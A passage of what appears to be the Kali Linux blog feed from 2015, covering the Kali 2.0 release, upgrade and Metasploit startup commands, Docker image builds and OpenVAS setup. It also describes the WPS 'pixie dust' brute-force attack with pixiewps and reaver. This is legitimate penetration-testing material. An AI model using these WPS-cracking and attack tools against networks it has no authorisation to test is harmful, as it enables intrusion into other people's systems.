&lt;p>We&amp;rsquo;re still buzzing and recovering from the Black Hat and DEF CON conferences where we finished presenting our new [Kali Linux Dojo](](/docs/development/dojo-mastering-live-build/), which was a blast. With the help of &lt;strong>a few good people&lt;/strong>, the Dojo rooms were set up ready for the masses - where many &lt;strong>generated their very own Kali 2.0 ISOs for the first time&lt;/strong>. But the excitement doesn&amp;rsquo;t end for us just yet. With the end of the cons, we now find ourselves smack in the middle of &lt;strong>the most significant release of Kali since 2013&lt;/strong>. Today is the day that Kali 2.0 is officially released.&lt;/p>
&lt;p>&lt;strong>So, what&amp;rsquo;s new in Kali 2.0?&lt;/strong> There&amp;rsquo;s a new 4.0 kernel, now based on Debian Jessie, improved hardware and wireless driver coverage, support for a variety of Desktop Environments (gnome, kde, xfce, mate, e17, lxde, i3wm), updated desktop environment and tools - and the list goes on. But these bulletpoint items are essentially a &lt;strong>side effect of the real changes that have taken place&lt;/strong> in our development backend. Ready to hear the real news? &lt;strong>Take a deep breath, it&amp;rsquo;s a long list&lt;/strong>.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2-0-release/images/tools-slider.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2-0-release/images/tools-slider.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="kali-linux-is-now-a-rolling-distribution">Kali Linux is Now a Rolling Distribution&lt;/h2>
&lt;p>One of the biggest moves we&amp;rsquo;ve taken to keep Kali 2.0 &lt;strong>up-to-date in a global, continuous manner,&lt;/strong> is transforming Kali into a &lt;strong>rolling distribution.&lt;/strong> What this means is that we are pulling our packages continuously from &lt;a href="https://www.debian.org/devel/testing">Debian Testing&lt;/a> (after making sure that all packages are installable) - essentially upgrading the Kali core system, while allowing us to take advantage of newer Debian packages as they roll out. This move is where our choice in Debian as a base system really pays off - we get to enjoy the stability of Debian, while still remaining &lt;em>on the cutting edge&lt;/em>.&lt;/p>
&lt;h2 id="continuously-updated-tools-enhanced-workflow">Continuously Updated Tools, Enhanced Workflow&lt;/h2>
&lt;p>Another interesting development in our infrastructure has been the integration of an &lt;strong>upstream version checking system&lt;/strong>, which alerts us when new upstream versions of tools are released (usually via git tagging). This script runs daily on a select list of common tools and keeps us alerted if a new tool requires updating. With this new system in place, &lt;strong>core tool updates will happen more frequently&lt;/strong>. With the introduction of this new monitoring system, we will slowly start phasing out the &amp;ldquo;tool upgrades&amp;rdquo; option in our &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>.&lt;/p>
&lt;h2 id="new-flavours-of-kali-linux-20">New Flavours of Kali Linux 2.0&lt;/h2>
&lt;p>Through our Live Build process, Kali 2.0 now natively supports &lt;strong>KDE, GNOME3, Xfce, MATE, e17, lxde and i3wm&lt;/strong>. We&amp;rsquo;ve moved on to &lt;a href="https://www.gnome.org/gnome-3/">GNOME 3&lt;/a> in this release, marking the end of a long abstinence period. We&amp;rsquo;ve finally embraced GNOME 3 and with a few custom changes, it&amp;rsquo;s grown to be our favourite desktop environment. We&amp;rsquo;ve added custom support for multi-level menus, true terminal transparency, as well as a handful of useful gnome shell extensions. This however has come at a price - &lt;strong>the minimum RAM requirements for a full GNOME 3 session has increased to 768 MB&lt;/strong>. This is a non-issue on modern hardware but can be detrimental on lower-end machines. For this reason, we have also released an official, &lt;strong>minimal Kali 2.0 ISO&lt;/strong>. This &amp;ldquo;light&amp;rdquo; flavour of Kali includes a handful of useful tools together with the lightweight &lt;a href="https://www.xfce.org/">Xfce&lt;/a> desktop environment - a perfect solution for resource-constrained computers.&lt;/p>
&lt;h2 id="kali-linux-20-arm-images--nethunter-20">Kali Linux 2.0 ARM Images &amp;amp; NetHunter 2.0&lt;/h2>
&lt;p>The whole &lt;strong>ARM&lt;/strong> image section has been updated across the board with Kali 2.0 - including Raspberry Pi, Chromebooks, Odroids&amp;hellip; The whole lot! In the process, we&amp;rsquo;ve added some new images - such as the latest &lt;strong>Chromebook Flip&lt;/strong> - the little beauty here on the right. Go ahead, click on the image, take a closer look. Another helpful change we&amp;rsquo;ve implemented in our ARM images is including kernel sources, for easier compilation of new drivers.&lt;/p>
&lt;p>We haven&amp;rsquo;t forgotten about &lt;strong>NetHunter&lt;/strong>, our favourite mobile penetration testing platform - which also got an update and now includes Kali 2.0. With this, we&amp;rsquo;ve released a whole barrage of new NetHunter images for Nexus 5, 6, 7, 9, and 10. The &lt;strong>OnePlus One&lt;/strong> NetHunter image has also been updated to Kali 2.0 and now has a much awaited &lt;strong>image for CM12 as well&lt;/strong> - check the &lt;a href="https://www.kali.org/get-kali/#kali-mobile">OffSec NetHunter&lt;/a> page for more information.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2-0-release/images/kali-asus-chrome-flipbook-1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2-0-release/images/kali-asus-chrome-flipbook-1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="updated-vmware-and-virtualbox-images">Updated VMware and VirtualBox Images&lt;/h2>
&lt;p>OffSec, the &lt;strong>&lt;a href="https://www.offsec.com/courses-and-certifications/">information security training&lt;/a>&lt;/strong> and &lt;strong>&lt;a href="https://www.offsec.com/penetration-testing/">penetration testing&lt;/a>&lt;/strong> company behind Kali Linux, has put up new &lt;a href="https://www.kali.org/get-kali/#kali-vm">VMware and VirtualBox Kali 2.0 images&lt;/a> for those who want to try Kali in a virtual environment. These include 32 and 64 bit flavours of the GNOME 3 full Kali environment.&lt;/p>
&lt;p>If you want to build your own virtual environment, you can consult our documentation site on how to install the various &lt;a href="https://www.kali.org/docs/general-use/">virtual guest tools&lt;/a> for a smoother experience.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2-0-release/images/kali-vm-images.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2-0-release/images/kali-vm-images.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="tldr-wheres-my-kali-20-download">TL;DR. Where&amp;rsquo;s My Kali 2.0 Download?&lt;/h2>
&lt;p>The tl;dr of this release is best explained by comparison: If Kali 1.0 was &lt;strong>focused on building a solid infrastructure&lt;/strong> then Kali 2.0 is &lt;strong>focused on overhauling the user experience and maintaining updated packages and tool repositories&lt;/strong>. Along with the arrival of 2.0 comes a whole lot of interesting updates&amp;hellip; You can head down to our &lt;a href="https://www.kali.org/get-kali/">Kali Linux 2.0 Download&lt;/a> page to get the goodness for yourself.&lt;/p>
&lt;h2 id="still-tl-still-dr-how-do-i-upgrade-to-kali-20">Still TL; Still DR. How Do I Upgrade to Kali 2.0?&lt;/h2>
&lt;p>Yes, you &lt;strong>&lt;em>can&lt;/em>&lt;/strong> upgrade Kali 1.x to Kali 2.0! To do this, you will need to edit your source.list entries, and run a &lt;strong>dist-upgrade&lt;/strong> as shown below. If you have been using incorrect or extraneous Kali repositories or otherwise manually installed or overwritten Kali packages outside of &lt;strong>apt&lt;/strong>, your upgrade to Kali 2.0 may fail. This includes scripts like lazykali.sh, PTF, manual git clones in incorrect directories, etc. - All of these will clobber existing files on the filesystem and result in a failed upgrade. If this is the case for you, you&amp;rsquo;re better off reinstalling your OS from scratch.&lt;/p>
&lt;p>Otherwise, feel free to:&lt;/p>
&lt;pre>&lt;code class="language-sh">cat &amp;lt;&amp;lt; EOF &amp;gt; /etc/apt/sources.list
deb http://http.kali.org/kali sana main contrib non-free
deb http://security.kali.org/kali-security/ sana/updates main contrib non-free
EOF
apt-get update
apt-get dist-upgrade # get a coffee, or 10.
reboot
&lt;/code>&lt;/pre>
&lt;h2 id="metasploit-community--pro-no-longer-ships-in-kali">Metasploit Community / Pro no longer ships in Kali&lt;/h2>
&lt;p>At the request of Rapid7, we have &lt;strong>removed the Metasploit Community / Pro package&lt;/strong> from Kali Linux and now host the Open-source &lt;strong>&lt;em>metasploit-framework&lt;/em>&lt;/strong> package only. For all of you who require Community or Pro, you will now need to &lt;strong>download it from Rapid7&lt;/strong> and then register and submit your personal details in order to get a license. In addition, &lt;em>the Rapid7 team no longer maintains the Metasploit package in Kali&lt;/em>, which has brought with it some substantial changes - we&amp;rsquo;ve moved to a &amp;ldquo;native&amp;rdquo; setup, where rather than bundling all the required software needed to run Metasploit in one big package, we use native dependencies within Kali to support the &lt;strong>&lt;em>metasploit-framework&lt;/em>&lt;/strong> package. This results in a &lt;strong>faster, smoother work experience and easier integration&lt;/strong> with Metasploit dependencies. For more information about this, check out our &lt;a href="https://www.kali.org/docs/tools/starting-metasploit-framework-in-kali/">Metasploit Framework in Kali&lt;/a> documentation page.&lt;/p>
&lt;h3 id="starting-up-metasploit-framework-in-kali-linux-20">Starting up Metasploit Framework in Kali Linux 2.0&lt;/h3>
&lt;p>Due to the above-mentioned changes in the &lt;strong>&lt;em>metasploit-framework&lt;/em>&lt;/strong> package, there are some minor changes in how Metasploit is started in Kali - specifically, there &lt;strong>is no longer a &lt;em>metasploit&lt;/em> service&lt;/strong>. This is how you start up the Metasploit Framework with database support in Kali Linux 2.0:&lt;/p>
&lt;pre>&lt;code class="language-sh"># Start the Postgresql Database
/etc/init.d/postgresql start
# Initialize the Metasploit Framework Database
msfdb init
# Run msfconsole
msfconsole
&lt;/code>&lt;/pre>
&lt;h2 id="your-kali-20-fu-just-got-an-upgrade">Your Kali 2.0 FU Just Got an Upgrade&lt;/h2>
&lt;p>Kali Linux 2.0 is a serious step forward for us, as we &lt;strong>continuously improve the distribution&lt;/strong>. We hope you enjoy the new look, features, tools, and workflow. As usual, you are invited to join our community via &lt;a href="https://forums.kali.org/">forums&lt;/a>, &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>, &lt;a href="https://twitter.com/kalilinux">Twitter&lt;/a>, &lt;a href="https://www.facebook.com/kalilinux">Facebook&lt;/a>, and of course, &lt;a href="https://www.kali.org/docs/community/kali-linux-irc-channel/">IRC&lt;/a>. Lastly, if you haven&amp;rsquo;t seen our Kali 2.0 Teaser video, here it is!&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-2-0-release/https://player.vimeo.com/video/132329259?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div></description></item><item><title>Kali Linux 2.0 Release Day Scheduled</title><link>https://www.kali.org/blog/kali-linux-2-release-day-scheduled/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2-release-day-scheduled/</guid><pubDate>Mon, 06 Jul 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-2-release-day-scheduled/images/kali-2.0-sana.jpg" type="image/jpg"/><description>&lt;p>We&amp;rsquo;ve been awfully quiet lately, which usually means something is brewing below the surface. In the past few months we&amp;rsquo;ve been working feverishly on our next generation of Kali Linux and we&amp;rsquo;re really happy with how it&amp;rsquo;s looking so far. There&amp;rsquo;s a lot of new features and interesting new aspects to this updated version, however we&amp;rsquo;ll keep our mouths shut until we&amp;rsquo;re done with the release. We won&amp;rsquo;t leave you completely hanging though&amp;hellip;here&amp;rsquo;s a small teaser of things to come!&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/kali-linux-2-release-day-scheduled/https://player.vimeo.com/video/132329259?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="kali-20-dojo-at-black-hat--def-con-las-vegas-2015">Kali 2.0 Dojo at Black Hat &amp;amp; DEF CON Las Vegas, 2015&lt;/h2>
&lt;p>If you&amp;rsquo;re heading down to Black Hat Vegas 2015, join our free &lt;a href="https://www.offsec.com/kali-linux/kali-dojo-bhusa-2015/">Kali 2.0 Dojo workshop&lt;/a>, where we will be showcasing some of the most awesome features in Kali 2.0. We are currently working to bring everyone a surprise appearance at DEF CON as well. Unleash the Kraken!&lt;/p></description></item><item><title>Official Kali Linux Docker Images Released</title><link>https://www.kali.org/blog/official-kali-linux-docker-images/</link><guid isPermaLink="true">https://www.kali.org/blog/official-kali-linux-docker-images/</guid><pubDate>Tue, 26 May 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/official-kali-linux-docker-images/images/kali-linux-docker-images.jpg" type="image/jpg"/><description>&lt;p>For the latest information, please see our &lt;a href="https://www.kali.org/docs/containers/official-kalilinux-docker-images/">documentation on Docker&lt;/a>&lt;/p>
&lt;p>Last week we received an email from a fellow penetration tester, requesting official &lt;a href="https://registry.hub.docker.com/u/kalilinux/kali-rolling/">&lt;strong>Kali Linux Docker images&lt;/strong>&lt;/a> that he could use for his work. We bootstrapped a minimal Kali Linux 1.1.0a base and registered it under our Kali Linux Docker account. A few minutes later, said fellow pentester was up and running with Metasploit and the Top 10 Kali Linux tools on his Macbook Pro.&lt;/p>
&lt;h2 id="docker-is-awesome">Docker is Awesome&lt;/h2>
&lt;p>The more we started looking into Docker and all of its features, the more we realized the endless possibilities of this technology - from helping us in our own internal Kali beta testing, to furthering the reach of Kali to foreign distributions and esoteric operating systems. The fact that you can run Docker on pretty much every operating system under the sun makes this feature extra sexy. The beauty in this process is that Kali is placed in a nice, neat container without polluting your guest filesystem. With this in place, you have full access to all the Kali packages on any and all systems that run Docker - which ends up being quite an expansive list.&lt;/p>
&lt;h3 id="kali-docker-image-running-on-fedora-21-and-osx-1010-guests">Kali Docker Image Running on Fedora 21 and OSX 10.10 Guests&lt;/h3>
&lt;p>Figuring out how to use Docker was simple enough. This &lt;a href="https://www.docker.com/tryit/">tutorial&lt;/a> does a great job of getting you up and running and showing you the ropes.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/official-kali-linux-docker-images/images/fedora-docker-kali.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/official-kali-linux-docker-images/images/fedora-docker-kali.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/official-kali-linux-docker-images/images/osc-docker-macair.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/official-kali-linux-docker-images/images/osc-docker-macair.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="setting-up-a-kali-linux-docker-image">Setting up a Kali Linux Docker Image&lt;/h3>
&lt;p>Obviously, to get this running, you need to &lt;a href="https://docs.docker.com/installation/">install&lt;/a> Docker. For &lt;a href="https://docs.docker.com/installation/mac/">Docker on OSX&lt;/a> you can use brew, while for most other distributions, you can install it using your local package manager. Once installed and set up, it&amp;rsquo;s just a matter of pulling our image from the Docker repository:&lt;/p>
&lt;pre>&lt;code class="language-console">muts@macbook-air:~$ docker pull kalilinux/kali-rolling
muts@macbook-air:~$ docker run -t -i kalilinux/kali-rolling /bin/bash
root@0129d62d2319:/# apt-get update &amp;amp;&amp;amp; apt-get install metasploit-framework
&lt;/code>&lt;/pre>
&lt;h3 id="building-your-own-kali-linux-docker-image">Building Your Own Kali Linux Docker Image&lt;/h3>
&lt;p>If you want to build your own Kali images rather than use our pre-made ones, we&amp;rsquo;ve made it easy with the following script hosted on &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-docker">Kali Linux Docker on GitHub&lt;/a>. These images are best built on a Linux system or any other OS that can &lt;strong>debootstrap&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-bash">#!/bin/bash
# Install dependencies (debootstrap)
sudo apt-get install debootstrap
# Fetch the latest Kali debootstrap script from git
curl &amp;quot;https://gitlab.com/kalilinux/packages/debootstrap.git;a=blob_plain;f=scripts/kali;hb=HEAD&amp;quot; &amp;gt; kali-debootstrap &amp;amp;&amp;amp;\
sudo debootstrap kali ./kali-root http://http.kali.org/kali ./kali-debootstrap &amp;amp;&amp;amp;\
# Import the Kali image into Docker
sudo tar -C kali-root -c . | sudo docker import - kalilinux/kali &amp;amp;&amp;amp;\
sudo rm -rf ./kali-root &amp;amp;&amp;amp;\
# Test the Kali Docker Image
docker run -t -i kalilinux/kali cat /etc/debian_version &amp;amp;&amp;amp;\
echo &amp;quot;Build OK&amp;quot; || echo &amp;quot;Build failed!&amp;quot;
&lt;/code>&lt;/pre>
&lt;p>Have fun with your Kali Docker images!&lt;/p></description></item><item><title>Pixiewps, Reaver &amp; Aircrack-ng Wireless Penetration Testing Tool Updates</title><link>https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/</link><guid isPermaLink="true">https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/</guid><pubDate>Mon, 04 May 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/images/kali-wireless-tools-update-v2.jpg" type="image/jpg"/><description>&lt;p>A short while ago, we packaged and pushed out a few important &lt;a href="https://www.kali.org/blog/kali-linux-metapackages/">wireless penetration testing tool&lt;/a> updates for aircrack-ng, pixiewps and reaver into Kali&amp;rsquo;s repository. These new additions and updates are fairly significant, and may even change your wireless attack workflows. Here&amp;rsquo;s a short run-down of the updates and the changes they bring.&lt;/p>
&lt;h2 id="pixiewps---bruteforce-wps-pins-in-seconds">Pixiewps - Bruteforce WPS pins in seconds&lt;/h2>
&lt;p>&lt;a href="https://github.com/wiire-a/pixiewps">Pixiewps&lt;/a> is a tool used for offline brute forcing of WPS pins, while exploiting the low or non-existing entropy of some &lt;a href="https://docs.google.com/spreadsheets/d/1tSlbqVQ59kGn8hgmwcPTHUECQ3o9YhXR91A_p7Nnj5Y/edit?usp=sharing">wireless access points&lt;/a> also known as the &lt;strong>pixie dust attack&lt;/strong>, discovered by &lt;a href="https://twitter.com/Reversity/status/490978005859454978">Dominique Bongard&lt;/a> (&lt;a href="http://archive.hack.lu/2014/Hacklu2014_offline_bruteforce_attack_on_wps.pdf">slides&lt;/a> and &lt;a href="http://video.adm.ntnu.no/pres/549931214e18d">video&lt;/a>). The pixiewps tool (developed by &lt;a href="https://forums.kali.org/member.php?30454-wiire">wiire&lt;/a>), was born out of the Kali forums, and the development of the tool can be tracked throughout an interesting &lt;a href="https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)">forum post&lt;/a>.&lt;/p>
&lt;p>In the correct environment, pixiewps dramatically speeds up the WPS brute force attack time from what was taking up to 12 hours to a &lt;a href="https://www.youtube.com/watch?v=8f6oClT7Wp4">a few seconds&lt;/a>. This new attack is mind numbing, and we are somewhat surprised that it hasn&amp;rsquo;t been discussed on a wider basis. Watch our following video closely, and see how we &lt;strong>extract the WPA shared key of this EdiMAX wireless access point in a few seconds&lt;/strong> using updated versions of pixiewps and reaver, already packaged in Kali:&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe src="https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/https://player.vimeo.com/video/126489367?dnt=1" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="vimeo video" webkitallowfullscreen mozallowfullscreen allowfullscreen>&lt;/iframe>
&lt;/div>
&lt;h2 id="aircrack-ng-v12-rc2-update">Aircrack-ng v1.2 RC2 Update&lt;/h2>
&lt;p>&lt;a href="https://www.kali.org/tools/aircrack-ng/">Aircrack-ng&lt;/a> is the de facto penetration tool suite - essential for any wireless penetration tests or assessments. In this latest Aircrack-ng release, amongst the normal bug fixes and code improvements there has been a significant change to &lt;strong>airmon-ng&lt;/strong>, the tool used to put wireless cards into &lt;em>monitor mode&lt;/em>. Other new and notable features are that &lt;strong>airtun-ng&lt;/strong> is now able to decrypt WPA as well as several new &lt;strong>airodump-ng&lt;/strong> flags, such as &lt;em>- -wps&lt;/em> and &lt;em>- -uptime.&lt;/em>&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/images/airmon-ng-1.2rc2-kali-linux1.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/pixiewps-reaver-aircrack-ng-updates/images/airmon-ng-1.2rc2-kali-linux1.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>Also notice the new naming convention of the wireless virtual interfaces - &lt;strong>wlanXmon&lt;/strong>, as opposed to &lt;strong>monX&lt;/strong>.&lt;/p>
&lt;h3 id="goodbye-mon0-hello-wlan0mon">Goodbye mon0, hello wlan0mon!&lt;/h3>
&lt;p>For the latest few releases, the &lt;em>aircrack-ng&lt;/em> suite had bundled with it &lt;strong>airmon-zc,&lt;/strong> which uses an improved method of placing wireless cards into monitor mode, as well as more verbose output options. With the release of Aircrack-ng 1.2 RC2, &lt;strong>airmon-zc&lt;/strong> has officially replaced the original &lt;strong>aircrack-ng&lt;/strong>, as the new standard.&lt;/p>
&lt;h3 id="more-verbose-airmon-ng-output">More verbose airmon-ng output&lt;/h3>
&lt;p>When things are going right, everything is great! However when this isn&amp;rsquo;t the case, and you need to &lt;a href="https://www.kali.org/docs/troubleshooting/troubleshooting-wireless-driver-issues/">troubleshoot wireless issues&lt;/a>, you can now use a single command &lt;strong>airmon-ng &amp;ndash;verbose start wlan0&lt;/strong> to gather all the relent information needed:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# airmon-ng --verbose start wlan0
No interfering processes found
No LSB modules are available.
Distributor ID: Kali
Description: Kali GNU/Linux 1.1.0
Release: 1.1.0
Codename: moto
Linux kali 3.18.0-kali3-amd64 #1 SMP Debian 3.18.6-1~kali2 (2015-03-02) x86_64 GNU/Linux
Detected VM using dmi_info
This appears to be a VMware Virtual Machine
If your system supports VT-d, it may be possible to use PCI devices
If your system does not support VT-d, you can only use USB wifi cards
K indicates driver is from 3.18.0-kali3-amd64
V indicates driver comes directly from the vendor, almost certainly a bad thing
S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE
? indicates we do not know where the driver comes from... report this
X[PHY]Interface Driver[Stack]-FirmwareRev Chipset Extended Info
K[phy0]wlan0 rtl8187[mac80211]-N/A Realtek Semiconductor Corp. RTL8187
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
root@kali:~#
&lt;/code>&lt;/pre>
&lt;p>You can find aircrack-ng&amp;rsquo;s full change log at the following address: &lt;a href="https://www.aircrack-ng.org/doku.php?id=Main#changelog">aircrack-ng.org/doku.php?id=Main#changelog&lt;/a>.&lt;/p>
&lt;h2 id="updated-reaver-wps-attack-tool">Updated Reaver WPS attack tool&lt;/h2>
&lt;p>The &lt;a href="https://www.kali.org/tools/reaver/">reaver&lt;/a> project was originally developed by Craig Heffner, and the last release was 1.4. As the project seems to have been abandoned, several forks have cropped up - one belonging to a member of the Kali forums, &lt;a href="https://forums.kali.org/member.php?31103-t6_x">t6_x&lt;/a>, who has also integrated the pixiewps attack into a newly minted 1.5.2 release. &lt;a href="https://github.com/t6x/reaver-wps-fork-t6x">This new&lt;/a> version implements an array of improvements on the original version, and will hopefully be activity maintained by the community.&lt;/p>
&lt;h2 id="the-kali-community-rocks">The Kali Community Rocks&lt;/h2>
&lt;p>One of the advantages of being a Kali forum moderator is that you get to witness the community grow and interact. Since the original &lt;a href="https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)">pixiewps thread&lt;/a> started by &lt;a href="https://forums.kali.org/member.php?17496-soxrok2212">soxrok2212&lt;/a>, it has received over 300 responses, bringing about the implementation of new ideas and updates to the tool. Watching this project emerge from a single forum post all the way to the release of the tool, and seeing the co-operation between the various tool developers while working to get interoperability between their tools was a real privilege.&lt;/p>
&lt;h2 id="stay-fresh-with-kali-linux">Stay fresh with Kali-Linux&lt;/h2>
&lt;p>You don&amp;rsquo;t need to do anything special to get this awesome tool chain, just keep your Kali-Linux up-to-date:&lt;/p>
&lt;pre>&lt;code class="language-sh">apt-get update
apt-get dist-upgrade
&lt;/code>&lt;/pre>
&lt;p>Happy penetration testing!&lt;/p></description></item><item><title>OpenVAS 8.0 Vulnerability Scanning</title><link>https://www.kali.org/blog/openvas-vulnerability-scanning/</link><guid isPermaLink="true">https://www.kali.org/blog/openvas-vulnerability-scanning/</guid><pubDate>Mon, 27 Apr 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/openvas-vulnerability-scanning/images/kali-openvas.jpg" type="image/jpg"/><description>&lt;p>&lt;strong>Vulnerability scanning&lt;/strong> is a crucial phase of a penetration test and having an updated vulnerability scanner in your security toolkit can often make a real difference by helping you discover overlooked vulnerable items. For this reason, we&amp;rsquo;ve manually packaged the latest and newly released &lt;a href="https://www.openvas.org/">OpenVAS&lt;/a> 8.0 tool and libraries for Kali Linux. Although nothing major has changed in this release in terms of running the vulnerability scanner, we wanted to give a quick overview on how to get it up and running.&lt;/p>
&lt;h2 id="setting-up-kali-for-vulnerability-scanning">Setting up Kali for Vulnerability Scanning&lt;/h2>
&lt;p>If you haven&amp;rsquo;t already, make sure your Kali is up-to-date and install the latest OpenVAS. Once done, run the &lt;strong>openvas-setup&lt;/strong> command to setup OpenVAS, download the latest rules, create an admin user, and start up the various services. Depending on your bandwidth and computer resources, this could take a while:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# apt-get update
root@kali:~# apt-get dist-upgrade
root@kali:~# apt-get install openvas
root@kali:~# openvas-setup
/var/lib/openvas/private/CA created
/var/lib/openvas/CA created
[i] This script synchronizes an NVT collection with the 'OpenVAS NVT Feed'.
[i] Online information about this feed: 'https://www.openvas.org/openvas-nvt-feed
...
sent 1143 bytes received 681741238 bytes 1736923.26 bytes/sec
total size is 681654050 speedup is 1.00
[i] Initializing scap database
[i] Updating CPEs
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2002.xml
[i] Updating /var/lib/openvas/scap-data/nvdcve-2.0-2003.xml
...
Write out database with 1 new entries
Data Base Updated
Restarting Greenbone Security Assistant: gsad.
User created with password '6062d074-0a4c-4de1-a26a-5f9f055b7c88'.
&lt;/code>&lt;/pre>
&lt;p>Once &lt;strong>openvas-setup&lt;/strong> completes its process, the OpenVAS manager, scanner, and GSAD services should be listening:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# netstat -antp
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:9390 0.0.0.0:* LISTEN 9583/openvasmd
tcp 0 0 127.0.0.1:9391 0.0.0.0:* LISTEN 9570/openvassd: Wai
tcp 0 0 127.0.0.1:9392 0.0.0.0:* LISTEN 9596/gsad
&lt;/code>&lt;/pre>
&lt;h3 id="starting-the-openvas-services">Starting the OpenVAS services&lt;/h3>
&lt;p>If you have already configured OpenVAS, you can simply start all the necessary services by running &lt;strong>openvas-start&lt;/strong>:&lt;/p>
&lt;pre>&lt;code class="language-console">root@kali:~# openvas-start
Starting OpenVas Services
Starting Greenbone Security Assistant: gsad.
Starting OpenVAS Scanner: openvassd.
Starting OpenVAS Manager: openvasmd.
&lt;/code>&lt;/pre>
&lt;p>&lt;em>If you need to troubleshoot any issues, you can use &lt;strong>openvas-check-setup&lt;/strong> to identity the problem.&lt;/em>&lt;/p>
&lt;h3 id="connecting-to-the-openvas-web-interface">Connecting to the OpenVAS Web Interface&lt;/h3>
&lt;p>Point your browser to &lt;strong>https://127.0.0.1:9392&lt;/strong>, accept the self signed SSL certificate and plugin the credentials for the &lt;strong>admin&lt;/strong> user. The admin password was generated during the setup phase (look at the output above if you missed it).&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/openvas-vulnerability-scanning/images/openvas_web_small.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/openvas-vulnerability-scanning/images/openvas_web_small.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>That&amp;rsquo;s it! Now OpenVAS is ready for you to configure it and run a scan against a given IP or range. Happy vulnerability scanning!&lt;/p></description></item><item><title>Kali Linux 1.1.0 Release</title><link>https://www.kali.org/blog/kali-linux-1-1-0-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-1-1-0-release/</guid><pubDate>Mon, 09 Feb 2015 00:00:00 +0000</pubDate><updated>Mon, 17 Jan 2022 00:00:00 +0000)</updated><enclosure url="https://www.kali.org/blog/kali-linux-1-1-0-release/images/kali-1.1.0-release.jpg" type="image/jpg"/><description>&lt;p>After almost two years of public development (and another year behind the scenes), we are proud to announce our first point release of &lt;a href="https://www.kali.org/blog/kali-linux-1-1-0-release/">&lt;strong>Kali Linux - version 1.1.0&lt;/strong>&lt;/a>. This release brings with it a mix of unprecedented hardware support as well as rock solid stability. For us, this is a real milestone as this release epitomizes the benefits of our move from &lt;a href="https://www.backtrack-linux.org/">BackTrack&lt;/a> to Kali Linux over two years ago. As we look at a now mature Kali, we see a versatile, flexible Linux distribution, rich with useful security and &lt;a href="https://www.kali.org/features/">penetration testing related features&lt;/a>, running on all sorts of weird and wonderful &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">ARM hardware&lt;/a>. But enough talk, here are the goods:&lt;/p>
&lt;ul>
